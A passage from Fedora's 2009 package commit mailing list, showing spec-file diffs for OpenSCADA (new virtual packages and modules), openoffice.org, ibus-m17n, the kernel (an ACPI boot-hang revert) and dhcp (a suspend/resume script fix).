 Requires:%{name}-DAQ-BlockCalc = %{version}-%{release}
 %endif
+%if 0%{?with_modbus}
+Requires:%{name}-DAQ-ModBus = %{version}-%{release}
+%endif
 %if 0%{?with_javalikecalc}
 Requires:%{name}-DAQ-JavaLikeCalc = %{version}-%{release}
 %endif
@@ -786,12 +902,12 @@ Requires:%{name}-DAQ-LogicLevel = %{vers
 %if 0%{?with_system}
 Requires:%{name}-DAQ-System = %{version}-%{release}
 %endif
-%if 0%{?with_blockcalc}
-Requires:%{name}-DAQ-BlockCalc = %{version}-%{release}
-%endif
 %if 0%{?with_daqgate}
 Requires:%{name}-DAQ-Gate = %{version}-%{release}
 %endif
+%if 0%{?with_icpdas}
+Requires:%{name}-DAQ-IcpDas = %{version}-%{release}
+%endif
 # ############### HTTP ########################
 %if 0%{?with_http}
 Requires:%{name}-Protocol-HTTP = %{version}-%{release}
@@ -817,8 +933,11 @@ Requires:%{name}-UI-QTStarter = %{versio
 %if 0%{?with_qtcfg}
 Requires:%{name}-UI-QTCfg = %{version}-%{release}
 %endif
-%if 0%{?with_qtvision}
-Requires:%{name}-UI-QTVision = %{version}-%{release}
+%if 0%{?with_uivision}
+Requires:%{name}-UI-Vision = %{version}-%{release}
+%endif
+%if 0%{?with_uivcaengine}
+Requires:%{name}-UI-VCAEngane = %{version}-%{release}
 %endif
 # ############### Web Interfaces ########################
 %if 0%{?with_webcfg}
@@ -830,29 +949,149 @@ Requires:%{name}-UI-WebCfgd = %{version}
 %if 0%{?with_webvision}
 Requires:%{name}-UI-WebVision = %{version}-%{release}
 %endif
-
 %description demo
 The %{name}-demo package includes demo data bases and configs.
 For start use command <openscada_demo>. For access use account
 "root" and password "openscada" or account "user" without password.
 %description demo -l ru_RU.UTF8
-????? %{name}-demo ???????? ???????????????? ???? ?????? ? ????????????.
-??? ?????? ??????????? ??????? <openscada_demo>. ??? ??????? ??????????? ??????
-"root" ? ?????? "openscada" ??? ?????? "user" ??? ??????.
+????? %{name}-demo ???????? ???????????????? ???? ?????? ?
+????????????. ??? ?????? ??????????? ??????? <openscada_demo>.
+??? ??????? ??????????? ?????? "root" ? ?????? "openscada"
+??? ?????? "user" ??? ??????.
 %description demo -l uk_UA.UTF8
-????? %{name}-demo ??????? ?????????????? ???? ????? ?? ????????????. ???
-?????? ?????????????? ??????? <openscada_demo>. ??? ??????? ??????????????
-????? "root" ?? ?????? "openscada" ??? ????? "user" ??? ??????.
+????? %{name}-demo ??????? ?????????????? ???? ????? ??
+????????????. ??? ?????? ?????????????? ??????? <openscada_demo>.
+??? ??????? ?????????????? ????? "root" ?? ?????? "openscada"
+??? ????? "user" ??? ??????.
 %description demo -l de_DE.UTF8
-Das Paket %{name}-demo enthaelt Demodatenbanken und Konfigurationen. Fuers
-Starten wird Kommando <openscada_demo> benutzt. Fuer den Zugang benutzen Sie
-die Anschreibung "root" und das Kennwort "openscada" oder die Anschreibung
-"user" ohne Kennwort.
+Das Paket %{name}-demo enth?lt die Demodatenbanken und
+Konfigurationen. F?rs Starten wird Kommando <openscada_demo>
+benutzt. F?r den Zugang benutzen Sie die Anschreibung "root"
+und das Kennwort "openscada" oder die Anschreibung "user" ohne Kennwort.
+
+# ############################### Virtual Packages ###################################
+%package plc
+Summary: OpenSCADA PLC.
+Group: Applications/Engineering
+Requires: %name = %version-%release
+Requires: %name-Archive-FSArch
+Requires: %name-DAQ-BlockCalc
+Requires: %name-DAQ-ICP_DAS
+Requires: %name-DAQ-JavaLikeCalc
+Requires: %name-DAQ-LogicLev
+Requires: %name-DAQ-ModBus
+Requires: %name-DAQ-System
+Requires: %name-DB-SQLite
+Requires: %name-Protocol-HTTP
+Requires: %name-Protocol-SelfSystem
+Requires: %name-Special-FLibComplex1
+Requires: %name-Special-FLibMath
+Requires: %name-Special-FLibSYS
+Requires: %name-Transport-SSL
+Requires: %name-Transport-Serial
+Requires: %name-Transport-Sockets
+Requires: %name-UI-VCAEngine
+Requires: %name-UI-WebCfgD
+Requires: %name-UI-WebVision
+%description plc
+The %name-plc package is virtual package for PLC.
+%description plc -l ru_RU.UTF8
+????? %name-plc ??? ??????????? ????? ??? ???.
+%description plc -l uk_UA.UTF8
+????? %name-plc ?? ??????????? ????? ??? ???.
+%description plc -l de_RU.UTF8
+????? %name-plc ist das Virtualpaket f?r PLC.
+
+%package server
+Summary: OpenSCADA server.
+Group: Applications/Engineering
+Requires: %name = %version-%release
+Requires: %name-DB-SQLite
+Requires: %name-DB-MySQL
+Requires: %name-DB-FireBird
+Requires: %name-DAQ-System
+Requires: %name-DAQ-BlockCalc
+Requires: %name-DAQ-JavaLikeCalc
+Requires: %name-DAQ-DiamondBoards
+Requires: %name-DAQ-LogicLev
+Requires: %name-DAQ-SNMP
+Requires: %name-DAQ-Siemens
+Requires: %name-DAQ-ModBus
+Requires: %name-DAQ-DCON
+Requires: %name-DAQ-DAQGate
+Requires: %name-DAQ-SoundCard
+Requires: %name-DAQ-ICP_DAS
+Requires: %name-Archive-FSArch
+Requires: %name-Archive-DBArch
+Requires: %name-Transport-Sockets
+Requires: %name-Transport-SSL
+Requires: %name-Transport-Serial
+Requires: %name-Protocol-HTTP
+Requires: %name-Protocol-SelfSystem
+Requires: %name-UI-VCAEngine
+Requires: %name-UI-WebCfg
+Requires: %name-UI-WebVision
+Requires: %name-WebCfgD
+Requires: %name-Special-FLibComplex1
+Requires: %name Special-FLibMath
+Requires: %name-Special-FLibSYS
+%description server
+The %name-server package is virtual package for OpenSCADA-server.
+%description server -l ru_RU.UTF8
+????? %name-server ??? ??????????? ????? ??? ??????? OpenSCADA.
+%description server -l uk_UA.UTF8
+????? %name-server ?? ??????????? ????? ??? ??????? OpenSCADA.
+%description server -l de_RU.UTF8
+????? %name-server ??? ??????????? ????? ??? ??????? OpenSCADA.
+
+%package visStation
+Summary: OpenSCADA visual station.
+Group: Applications/Engineering
+Requires: %name = %version-%release
+Requires: %name-DB-SQLite
+Requires: %name-DB-MySQL
+Requires: %name-DAQ-System
+Requires: %name-DAQ-BlockCalc
+Requires: %name-DAQ-JavaLikeCalc
+Requires: %name-DAQ-LogicLev
+Requires: %name-DAQ-SNMP
+Requires: %name-DAQ-Siemens
+Requires: %name-DAQ-ModBus
+Requires: %name-DAQ-DCON
+Requires: %name-DAQ-DAQGate
+Requires: %name-DAQ-SoundCard
+Requires: %name-Archive-FSArch
+Requires: %name-Archive-DBArch
+Requires: %name-Transport-Sockets
+Requires: %name-Transport-SSL
+Requires: %name-Transport-Serial
+Requires: %name-Protocol-SelfSystem
+Requires: %name-UI-VCAEngine
+Requires: %name-UI-Vision
+%if 0%{?rhel}
+Requires: %name-UI-QTStarter
+Requires: %name-UI-QTCfg
+%endif
+Requires: %name-Special-FLibComplex1
+Requires: %name-Special-FLibMath
+Requires: %name-Special-FLibSYS
+%description visStation
+The %name-visStation package is virtual package for visual
+station (OpenSCADA).
+%description visStation -l ru_RU.UTF8
+????? %name-visStation ??? ??????????? ????? ??? ??????????
+??????? (OpenSCADA).
+%description visStation -l uk_UA.UTF8
+????? %name-visStation ?? ??????????? ????? ??? ???????
+?????????? ??????? (OpenSCADA).
+%description visStation -l de_RU.UTF8
+????? %name-visStation ??? ??????????? ????? ??? ??????????
+??????? (OpenSCADA).
 
 %prep
 %setup -q -n %{srcname}
 %patch0 -p1 -b .fedora
-%patch1 -p1 -b .openssl
+#%patch1 -p1 -b .openssl
 %{__sed} -i 's|/usr/lib/|%{_libdir}/|' data/oscada*.xml
 
 %build
@@ -872,7 +1111,8 @@ CFLAGS="%{optflags}" CXXFLAGS="%{optflag
 	%{!?with_modbus:--disable-ModBus} \
 	%{!?with_soundcard:--disable-SoundCard} \
 	%{!?with_qtcfg:--disable-QTCfg} \
-	%{!?with_qtvision:--disable-Vision} \
+	%{!?with_uivision:--disable-Vision} \
+	%{!?with_uivcaengine:--disable-VCAEngine} \
 	%{!?with_ssl:--disable-SSL} \
 	%{!?with_serial:--disable-Serial} \
 	%{!?with_sockets:--disable-Sockets} \
@@ -885,6 +1125,7 @@ CFLAGS="%{optflags}" CXXFLAGS="%{optflag
 	%{!?with_javalikecalc:--disable-JavaLikeCalc} \
 	%{!?with_logiclevel:--disable-LogicLev} \
 	%{!?with_daqgate:--disable-DAQGate} \
+	%{!?with_icpdas:--disable-ICP_DAS} \
 	%{!?with_selfsystem:--disable-SelfSystem} \
 	%{!?with_flibcomplex:--disable-FlibComplex1} \
 	%{!?with_flibmath:--disable-FlibMath} \
@@ -895,6 +1136,7 @@ CFLAGS="%{optflags}" CXXFLAGS="%{optflag
 make %{?_smp_mflags}
 
 %install
+%{__rm} -rf %{buildroot}
 make DESTDIR=%{buildroot} install
 
 # let's try to get rid of rpath
@@ -968,6 +1210,7 @@ desktop-file-install --dir=%{buildroot}%
 %{?with_javalikecalc: %exclude %{_libdir}/openscada/daq_JavaLikeCalc.so}
 %{?with_logiclevel: %exclude %{_libdir}/openscada/daq_LogicLev.so}
 %{?with_daqgate: %exclude %{_libdir}/openscada/daq_DAQGate.so}
+%{?with_icpdas: %exclude %{_libdir}/openscada/daq_ICP_DAS.so}
 %{?with_selfsystem: %exclude %{_libdir}/openscada/prot_SelfSystem.so}
 %{?with_firebird: %exclude %{_libdir}/openscada/bd_FireBird.so}
 %{?with_mysql: %exclude %{_libdir}/openscada/bd_MySQL.so}
@@ -979,8 +1222,10 @@ desktop-file-install --dir=%{buildroot}%
 %{?with_webcfgd: %exclude %{_libdir}/openscada/ui_WebCfgD.so}
 %{?with_webvision: %exclude %{_libdir}/openscada/ui_WebVision.so}
 %{?with_http: %exclude %{_libdir}/openscada/prot_HTTP.so}
+%{?with_qtstarter: %exclude %{_libdir}/openscada/ui_QTStarter.so}
 %{?with_qtcfg: %exclude %{_libdir}/openscada/ui_QTCfg.so}
-%{?with_qtvision: %exclude %{_libdir}/openscada/ui_Vision.so}
+%{?with_uivision: %exclude %{_libdir}/openscada/ui_Vision.so}
+%{?with_uivcaengine: %exclude %{_libdir}/openscada/ui_VCAEngine.so}
 %{?with_ssl: %exclude %{_libdir}/openscada/tr_SSL.so}
 %{?with_sockets: %exclude %{_libdir}/openscada/tr_Sockets.so}
 %{?with_ssl: %exclude %{_libdir}/openscada/tr_Serial.so}
@@ -994,6 +1239,15 @@ desktop-file-install --dir=%{buildroot}%
 %{_localstatedir}/spool/openscada/ARCHIVES/MESS/info
 %{_localstatedir}/spool/openscada/ARCHIVES/VAL/info
 
+%files plc
+%defattr(-,root,root)
+
+%files server
+%defattr(-,root,root)
+
+%files visStation
+%defattr(-,root,root)
+
 %files doc
 %defattr(-,root,root)
 %doc doc/*.pdf doc/Modules
@@ -1064,6 +1318,12 @@ desktop-file-install --dir=%{buildroot}%
 %{_libdir}/openscada/daq_DAQGate.so
 %endif
 
+%if 0%{?with_icpdas}
+%files DAQ-IcpDas
+%defattr(-,root,root)
+%{_libdir}/openscada/daq_ICP_DAS.so
+%endif
+
 %if 0%{?with_selfsystem}
 %files Protocol-SelfSystem
 %defattr(-,root,root)
@@ -1145,12 +1405,18 @@ desktop-file-install --dir=%{buildroot}%
 %{_libdir}/openscada/ui_QTCfg.so
 %endif
 
-%if 0%{?with_qtvision}
-%files UI-QTVision
+%if 0%{?with_uivision}
+%files UI-Vision
 %defattr(-,root,root)
 %{_libdir}/openscada/ui_Vision.so
 %endif
 
+%if 0%{?with_uivcaengine}
+%files UI-VCAEngine
+%defattr(-,root,root)
+%{_libdir}/openscada/ui_VCAEngine.so
+%endif
+
 %if 0%{?with_ssl}
 %files Transport-SSL
 %defattr(-,root,root)
@@ -1211,22 +1477,39 @@ desktop-file-install --dir=%{buildroot}%
 %endif
 
 %changelog
+* Sun Oct 11 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.4-1
+- The change version for release 0.6.4
+- Moved Ui-VCAEngane module to the self package
+- Removed QTStarter module from the main package
+- Added the virtual plc, server, visStation packages
+- Some cosmetics.
+
+* Sun Oct 4 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.3.4-1
+- Adding self module ICP_DAS
+- Fixed Germany Language translations by Popkova Irina
+- Delete openscada-0.6.3.3-openssl.patch from previouns version
+- Adding the next version of the package.
+
+* Tue Sep 1 2009 Aleksey Popkov <aleksey at oscada.org.ua> - 0.6.3.3-13
+- Adding Requires for webcfg, webcfgd, webvision, http and snmp
+- Some cosmetics.
+
 * Tue Aug 25 2009 Tomas Mraz <tmraz at redhat.com> - 0.6.3.3-12
 - rebuilt with new openssl
 
 * Mon Jul 27 2009 Popkov Aleksey <aleksey at oscada.org.ua> - 0.6.3.3-11
-- Fixed of macros %find_lang for epel-5 by Peter Lemenkov <lemenkov at gmail.com>.
+- Fixed of macros find_lang for epel-5 by Peter Lemenkov <lemenkov at gmail.com>.
 
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.3.3-10
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild.
 
 * Tue Jul 14 2009 Popkov Aleksey <aleksey at oscada.org.ua> 0.6.3.3-9
-- Adding %find_lang macros by Peter Lemenkov <lemenkov at gmail.com>
+- Adding find_lang macros by Peter Lemenkov <lemenkov at gmail.com>
 - Somes cosmetics.
 
 * Tue Jun 30 2009 Popkov Aleksey <aleksey at oscada.org.ua> 0.6.3.3-8
 - Added of dependences in to self package demo
-- Fixed %preun section by Peter Lemenkov <lemenkov at gmail.com>
+- Fixed preun section by Peter Lemenkov <lemenkov at gmail.com>
 - Somes cosmetics.
 
 * Wed Jun 19 2009 Popkov Aleksey <aleksey at oscada.org.ua> 0.6.3.3-7
@@ -1304,7 +1587,7 @@ desktop-file-install --dir=%{buildroot}%
 - add Athena board specific build
 
 * Wed Nov 03 2004 Roman Savochenko <rom_as at fromru.com>
-- move the message arhives data to /var/spool/%{name}/ARHIVE/MESS
+- move the message arhives data to /var/spool/{name}/ARHIVE/MESS
 
 * Tue Apr 06 2004 Roman Savochenko <rom_as at fromru.com>
 - make 3 packages: OpenScada, OpenScada-devel, OpenScada-testdata

oscada.init.patch:
 oscada.init |   49 +++++++++++++++++++++++++++++++++++--------------
 1 file changed, 35 insertions(+), 14 deletions(-)

Index: oscada.init.patch
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/devel/oscada.init.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- oscada.init.patch	17 Jun 2009 13:21:56 -0000	1.3
+++ oscada.init.patch	13 Oct 2009 09:50:17 -0000	1.4
@@ -2,15 +2,6 @@ diff --git a/data/oscada.init b/data/osc
 index 21744dd..cdecaf8 100644
 --- a/data/oscada.init
 +++ b/data/oscada.init
-@@ -2,7 +2,7 @@
- #
- # Init file for OpenSCADA system demon.
- #
--# chkconfig: 2345 99 05
-+# chkconfig: - 99 05
- # description: Open SCADA System server daemon
- #
- # processname: openscada
 @@ -13,25 +13,45 @@ WITHOUT_RC_COMPAT=1
  # Source function library.
  . /etc/init.d/functions


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/openscada/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	15 Jun 2009 08:12:48 -0000	1.2
+++ sources	13 Oct 2009 09:50:17 -0000	1.3
@@ -1 +1 @@
-f66f45c28ba9c50f0d38f8a2e76cd741  openscada-0.6.3.3.tar.gz
+9288241adecd71bd28a98695b7648965  openscada-0.6.4.tar.gz


--- openscada-0.6.3.3-openssl.patch DELETED ---



From caolanm at fedoraproject.org  Tue Oct 13 09:54:57 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Tue, 13 Oct 2009 09:54:57 +0000 (UTC)
Subject: rpms/openoffice.org/devel openoffice.org.spec,1.2031,1.2032
Message-ID: <20091013095457.3DED011C00E8@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6641

Modified Files:
	openoffice.org.spec 
Log Message:
remove deleted/merged libs


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2031
retrieving revision 1.2032
diff -u -p -r1.2031 -r1.2032
--- openoffice.org.spec	13 Oct 2009 06:20:43 -0000	1.2031
+++ openoffice.org.spec	13 Oct 2009 09:54:56 -0000	1.2032
@@ -2416,7 +2416,6 @@ rm -rf $RPM_BUILD_ROOT
 %{basisinstdir}/program/cde-open-url
 %dir %{basisinstdir}/program/classes
 %{basisinstdir}/program/classes/agenda.jar                
-%{basisinstdir}/program/classes/classes.jar                
 %{basisinstdir}/program/classes/commonwizards.jar
 %{basisinstdir}/program/classes/fax.jar
 %{basisinstdir}/program/classes/form.jar
@@ -2495,7 +2494,6 @@ rm -rf $RPM_BUILD_ROOT
 %{basisinstdir}/program/libevtatt.so
 %{basisinstdir}/program/libegi%{SOPOST}.so    
 %{basisinstdir}/program/libeme%{SOPOST}.so
-%{basisinstdir}/program/libemp%{SOPOST}.so    
 %{basisinstdir}/program/libepb%{SOPOST}.so
 %{basisinstdir}/program/libepg%{SOPOST}.so    
 %{basisinstdir}/program/libepp%{SOPOST}.so
@@ -2924,7 +2922,6 @@ rm -rf $RPM_BUILD_ROOT
 %{basisinstdir}/program/i18npool.uno.so
 %{basisinstdir}/program/libbasegfx%{SOPOST}.so
 %{basisinstdir}/program/libcomphelp4gcc3.so
-%{basisinstdir}/program/libdtransX11%{SOPOST}.so
 %{basisinstdir}/program/libfileacc.so
 %{basisinstdir}/program/libfwe%{SOPOST}.so
 %{basisinstdir}/program/libfwi%{SOPOST}.so
@@ -2935,9 +2932,7 @@ rm -rf $RPM_BUILD_ROOT
 %{basisinstdir}/program/libi18nisolang*.so
 %{basisinstdir}/program/libi18npaper*.so
 %{basisinstdir}/program/libi18nutilgcc3.so
-%{basisinstdir}/program/libj%{SOPOST}_g.so
 %{basisinstdir}/program/libpackage2.so
-%{basisinstdir}/program/libpsp%{SOPOST}.so
 %{basisinstdir}/program/libsb%{SOPOST}.so
 %{basisinstdir}/program/libsfx%{SOPOST}.so
 %{basisinstdir}/program/libsot%{SOPOST}.so
@@ -2956,7 +2951,6 @@ rm -rf $RPM_BUILD_ROOT
 %{basisinstdir}/program/localebe1.uno.so
 %{basisinstdir}/program/sysmgr1.uno.so
 %{basisinstdir}/program/ucpgio1.uno.so
-%{basisinstdir}/program/stocservices.uno.so
 #vba
 %{basisinstdir}/program/oovbaapi.rdb
 #share unopkg



From paragn at fedoraproject.org  Tue Oct 13 09:55:01 2009
From: paragn at fedoraproject.org (paragn)
Date: Tue, 13 Oct 2009 09:55:01 +0000 (UTC)
Subject: rpms/ibus-m17n/F-12 ibus-m17n.spec,1.17,1.18
Message-ID: <20091013095501.7485A11C00E8@cvs1.fedora.phx.redhat.com>

Author: paragn

Update of /cvs/pkgs/rpms/ibus-m17n/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6616

Modified Files:
	ibus-m17n.spec 
Log Message:
* Tue Oct 13 2009 Parag <pnemade at redhat.com> - 1.2.0.20090617-3
- Re-enable iok support to ibus-m17n.




Index: ibus-m17n.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-m17n/F-12/ibus-m17n.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- ibus-m17n.spec	25 Jul 2009 03:02:15 -0000	1.17
+++ ibus-m17n.spec	13 Oct 2009 09:55:01 -0000	1.18
@@ -2,7 +2,7 @@
 
 Name:       ibus-m17n
 Version:    1.2.0.20090617
-Release:    2%{?dist}
+Release:    3%{?dist}
 Summary:    The M17N engine for IBus platform
 License:    GPLv2+
 Group:      System Environment/Libraries
@@ -10,7 +10,7 @@ URL:        http://code.google.com/p/ibu
 Source0:    http://ibus.googlecode.com/files/%{name}-%{version}.tar.gz
 
 # Patch0:     ibus-m17n-HEAD.patch
-# Patch1:     ibus-m17n-iok.patch
+ Patch1:     ibus-m17n-iok.patch
 
 BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  gettext-devel
@@ -30,7 +30,7 @@ the input table maps from m17n-db.
 %prep
 %setup -q
 # %patch0 -p1
-# %patch1 -p0
+ %patch1 -p0
 
 %build
 %configure --disable-static
@@ -54,6 +54,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/ibus/component/*
 
 %changelog
+* Tue Oct 13 2009 Parag <pnemade at redhat.com> - 1.2.0.20090617-3
+- Re-enable iok support to ibus-m17n.
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.2.0.20090617-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From paragn at fedoraproject.org  Tue Oct 13 09:59:15 2009
From: paragn at fedoraproject.org (paragn)
Date: Tue, 13 Oct 2009 09:59:15 +0000 (UTC)
Subject: rpms/ibus-m17n/F-12 ibus-m17n.spec,1.18,1.19
Message-ID: <20091013095915.D3EF011C00E8@cvs1.fedora.phx.redhat.com>

Author: paragn

Update of /cvs/pkgs/rpms/ibus-m17n/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7303

Modified Files:
	ibus-m17n.spec 
Log Message:
- spec cleanup



Index: ibus-m17n.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-m17n/F-12/ibus-m17n.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- ibus-m17n.spec	13 Oct 2009 09:55:01 -0000	1.18
+++ ibus-m17n.spec	13 Oct 2009 09:59:15 -0000	1.19
@@ -9,8 +9,7 @@ Group:      System Environment/Libraries
 URL:        http://code.google.com/p/ibus/
 Source0:    http://ibus.googlecode.com/files/%{name}-%{version}.tar.gz
 
-# Patch0:     ibus-m17n-HEAD.patch
- Patch1:     ibus-m17n-iok.patch
+Patch0:     ibus-m17n-iok.patch
 
 BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  gettext-devel
@@ -29,8 +28,7 @@ the input table maps from m17n-db.
 
 %prep
 %setup -q
-# %patch0 -p1
- %patch1 -p0
+%patch0 -p0
 
 %build
 %configure --disable-static



From cebbert at fedoraproject.org  Tue Oct 13 10:04:07 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Tue, 13 Oct 2009 10:04:07 +0000 (UTC)
Subject: rpms/kernel/F-11 acpi-revert-attach-device-to-handle-early.patch,
	NONE, 1.1 TODO, 1.73, 1.74 kernel.spec, 1.1760, 1.1761
Message-ID: <20091013100407.2259A11C00E8@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8730

Modified Files:
	TODO kernel.spec 
Added Files:
	acpi-revert-attach-device-to-handle-early.patch 
Log Message:
Fix boot hang with ACPI on some systems.

acpi-revert-attach-device-to-handle-early.patch:
 scan.c |   12 ++----------
 1 file changed, 2 insertions(+), 10 deletions(-)

--- NEW FILE acpi-revert-attach-device-to-handle-early.patch ---
From: Len Brown <len.brown at intel.com>
Date: Sat, 5 Sep 2009 17:33:23 +0000 (-0400)
Subject: Revert "ACPI: Attach the ACPI device to the ACPI handle as early as possible"
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Flenb%2Flinux-acpi-2.6.git;a=commitdiff_plain;h=f61f925859c57f6175082aeeee17743c68558a6e

Revert "ACPI: Attach the ACPI device to the ACPI handle as early as possible"

This reverts commit eab4b645769fa2f8703f5a3cb0cc4ac090d347af.

http://bugzilla.kernel.org/show_bug.cgi?id=13002

Signed-off-by: Len Brown <len.brown at intel.com>
---

diff --git a/drivers/acpi/scan.c b/drivers/acpi/scan.c
index 781435d..5dd702c 100644
--- a/drivers/acpi/scan.c
+++ b/drivers/acpi/scan.c
@@ -1264,16 +1264,6 @@ acpi_add_single_object(struct acpi_device **child,
 	acpi_device_set_id(device, parent, handle, type);
 
 	/*
-	 * The ACPI device is attached to acpi handle before getting
-	 * the power/wakeup/peformance flags. Otherwise OS can't get
-	 * the corresponding ACPI device by the acpi handle in the course
-	 * of getting the power/wakeup/performance flags.
-	 */
-	result = acpi_device_set_context(device, type);
-	if (result)
-		goto end;
-
-	/*
 	 * Power Management
 	 * ----------------
 	 */
@@ -1303,6 +1293,8 @@ acpi_add_single_object(struct acpi_device **child,
 			goto end;
 	}
 
+	if ((result = acpi_device_set_context(device, type)))
+		goto end;
 
 	result = acpi_device_register(device, parent);
 



Index: TODO
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/TODO,v
retrieving revision 1.73
retrieving revision 1.74
diff -u -p -r1.73 -r1.74
--- TODO	6 Oct 2009 12:23:53 -0000	1.73
+++ TODO	13 Oct 2009 10:04:06 -0000	1.74
@@ -95,10 +95,6 @@
 	ACPI EC fixes from 2.6.32 (#492699, #525681)
 	Should go in F-12 and 2.6.31-stable too, once they're tested.
 
-* x86-dont-leak-64-bit-kernel-register-values.patch
-	x86 security fix (info leak)
-	Should go into F-12, will be in 2.6.31.3
-
 * linux-2.6-cfq-choose-new-next-req.patch
 	Fixes severe cfq performance problem when writing CDs.
 	Should go into F-12, needs to be sent for 2.6.31.x too.


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/kernel.spec,v
retrieving revision 1.1760
retrieving revision 1.1761
diff -u -p -r1.1760 -r1.1761
--- kernel.spec	12 Oct 2009 14:07:05 -0000	1.1760
+++ kernel.spec	13 Oct 2009 10:04:06 -0000	1.1761
@@ -785,6 +785,9 @@ Patch15500: ftrace-use-module-notifier-f
 Patch15510: ftrace-check-for-failure-for-all-conversions.patch
 Patch15520: tracing-correct-module-boundaries-for-ftrace_release.patch
 
+# fix boot hang on some systems
+Patch15600: acpi-revert-attach-device-to-handle-early.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1467,6 +1470,9 @@ ApplyPatch ftrace-use-module-notifier-fo
 ApplyPatch ftrace-check-for-failure-for-all-conversions.patch
 ApplyPatch tracing-correct-module-boundaries-for-ftrace_release.patch
 
+# fix boot hang on some systems
+ApplyPatch acpi-revert-attach-device-to-handle-early.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2055,6 +2061,9 @@ fi
 # and build.
 
 %changelog
+* Tue Oct 13 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.30.9-82
+- Fix boot hang with ACPI on some systems.
+
 * Mon Oct 12 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.30.9-81
 - Critical ftrace fixes:
   ftrace-use-module-notifier-for-function-tracer.patch



From jpopelka at fedoraproject.org  Tue Oct 13 10:16:59 2009
From: jpopelka at fedoraproject.org (=?utf-8?b?SmnFmcOtIFBvcGVsa2E=?=)
Date: Tue, 13 Oct 2009 10:16:59 +0000 (UTC)
Subject: rpms/dhcp/devel 56dhclient,1.1,1.2 dhcp.spec,1.276,1.277
Message-ID: <20091013101659.433DE11C00E8@cvs1.fedora.phx.redhat.com>

Author: jpopelka

Update of /cvs/pkgs/rpms/dhcp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12153

Modified Files:
	56dhclient dhcp.spec 
Log Message:
* Tue Oct 13 2009 Jiri Popelka <jpopelka at redhat.com> - 12:4.1.0p1-12
- Fix 56dhclient so network comes back after suspend/hibernate (#527641)



Index: 56dhclient
===================================================================
RCS file: /cvs/pkgs/rpms/dhcp/devel/56dhclient,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- 56dhclient	6 Aug 2009 21:45:18 -0000	1.1
+++ 56dhclient	13 Oct 2009 10:16:58 -0000	1.2
@@ -43,7 +43,7 @@ resume_dhclient() {
 
     cd /etc/sysconfig/network-scripts
     while read device ; do
-        /sbin/ifup ${DEVICE}
+        /sbin/ifup ${device}
     done < ${PM_DHCLIENT_SUSPEND}
 
     /bin/rm -f ${PM_DHCLIENT_SUSPEND}


Index: dhcp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dhcp/devel/dhcp.spec,v
retrieving revision 1.276
retrieving revision 1.277
diff -u -p -r1.276 -r1.277
--- dhcp.spec	24 Sep 2009 09:29:34 -0000	1.276
+++ dhcp.spec	13 Oct 2009 10:16:59 -0000	1.277
@@ -13,7 +13,7 @@
 Summary:  Dynamic host configuration protocol software
 Name:     dhcp
 Version:  %{basever}p1
-Release:  11%{?dist}
+Release:  12%{?dist}
 # NEVER CHANGE THE EPOCH on this package.  The previous maintainer (prior to
 # dcantrell maintaining the package) made incorrect use of the epoch and
 # that's why it is at 12 now.  It should have never been used, but it was.
@@ -481,6 +481,9 @@ fi
 %attr(0644,root,root) %{_mandir}/man3/omapi.3.gz
 
 %changelog
+* Tue Oct 13 2009 Jiri Popelka <jpopelka at redhat.com> - 12:4.1.0p1-12
+- Fix 56dhclient so network comes back after suspend/hibernate (#527641)
+
 * Thu Sep 24 2009 Jiri Popelka <jpopelka at redhat.com> - 12:4.1.0p1-11
 - Make dhcpd and dhcrelay init scripts LSB compliant (#522134, #522146)
 



From jpopelka at fedoraproject.org  Tue Oct 13 10:20:06 2009
From: jpopelka at fedoraproject.org (=?utf-8?b?SmnFmcOtIFBvcGVsa2E=?=)
Date: Tue, 13 Oct 2009 10:20:06 +0000 (UTC)
Subject: rpms/dhcp/F-12 56dhclient,1.1,1.2 dhcp.spec,1.276,1.277
Message-ID: <20091013102006.A07B711C029E@cvs1.fedora.phx.redhat.com>

Author: jpopelka

Update of /cvs/pkgs/rpms/dhcp/F-12
